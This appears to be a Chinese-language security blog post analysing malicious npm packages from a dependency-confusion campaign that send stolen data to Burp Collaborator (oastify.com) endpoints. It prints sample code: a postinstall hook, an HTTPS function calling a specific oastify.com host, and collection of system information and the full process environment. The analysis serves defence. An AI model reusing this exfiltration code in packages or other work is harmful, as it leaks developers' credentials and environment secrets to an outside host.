目录
近期,一则 Hacker News 讨论帖子 "Snyk 安全研究员部署恶意 NPM 包针对 cursor.com" 展示了利用 Burp Collaborator 的 oastify.com 作为数据外泄的命令与控制(C2)服务器的有趣见解。在该案例中,该研究员向公共 npm 注册表发布了多个 npm 包,显然是为了以 Cursor 的内部包为目标的依赖混淆攻击。
SafeDep 分析
我们的恶意包扫描器部署用于监控 npm 注册表中的恶意包,在 2025 年 1 月期间发布的多个包中发现了类似模式。事实上,一个简单的查询就识别出了 50 多个此类包。
查看一个样本
我们仔细查看了其中一个样本 pkg:/npm/patternfly-v5/[email protected]。该样本包含以下文件:
plaintext
-rw-r--r-- 1 dev wheel 1365 Oct 26 1985 index.js
-rw-r--r-- 1 dev wheel 283 Oct 26 1985 package.json
-rw-r--r-- 1 dev wheel 0 Oct 26 1985 patternfly-addons.css
-rw-r--r-- 1 dev wheel 0 Oct 26 1985 patternfly.min.css该 package.json 有一个 postinstall 脚本用于执行有效载荷:
json
{
"name": "@patternfly-v5/patternfly",
"version": "1.0.2",
"description": "A package for testing supply chain attacks.",
"main": "index.js",
"scripts": {
"postinstall": "echo 'Patternfly malicious package executed!'"
},
"author": "Your Name",
"license": "MIT"
}有效载荷位于 index.js 中,包含数据外泄逻辑,例如:
javascript
function sendData(path, data) {
const options = {
hostname: 'rzucd2dfiuz08dnqwkigu37xfolf95xu.oastify.com',
port: 443,
path: \`/${path}\`,
method: 'GET',
headers: {
'Content-Type': 'application/json',
},
};
const req = https.request(options, (res) => {
console.log(\`Status: ${res.statusCode}\`);
});
req.on('error', (error) => {
console.error(\`Error: ${error.message}\`);
});
req.write(JSON.stringify(data));
req.end();
}随后是系统信息收集代码:
javascript
const systemInfo = {
hostname: os.hostname(),
platform: os.platform(),
arch: os.arch(),
release: os.release(),
userInfo: os.userInfo(),
networkInterfaces: os.networkInterfaces(),
env: process.env,
};使用 oastify.com 进行外泄的示例包
| 包 | 报告 |
|---|---|
[email protected] | 🔗 01JGPYQTZJGM0Y5BYZWZ0757P3 |
[email protected] | 🔗 01JH3FWEBCCXBGGRTN286Z5ARP |
@patternfly-v5/[email protected] | 🔗 01JH0BKSY7Y2DNG7QB137S6J6F |
[email protected] | 🔗 01JH01T0FQQ14NX3DKNJXG0SPC |
[email protected] | 🔗 01JF2FS909Y3SHC099S6ETY7X1 |
[email protected] | 🔗 01JF1PE7YACMTYBQGG59VVHDZ1 |
结论
所有包在性质上看起来都相似,即利用 Burp Suite 的 Collaborator 服务作为公共端点来捕获外泄的数据。我们没有观察到任何复杂性或试图隐藏恶意行为的尝试。这可能表明是红队活动或技术不太成熟的威胁行为者。
- npm
- malware
SafeDep 博客最新内容
关注以获取开源安全与工程方面的最新更新和见解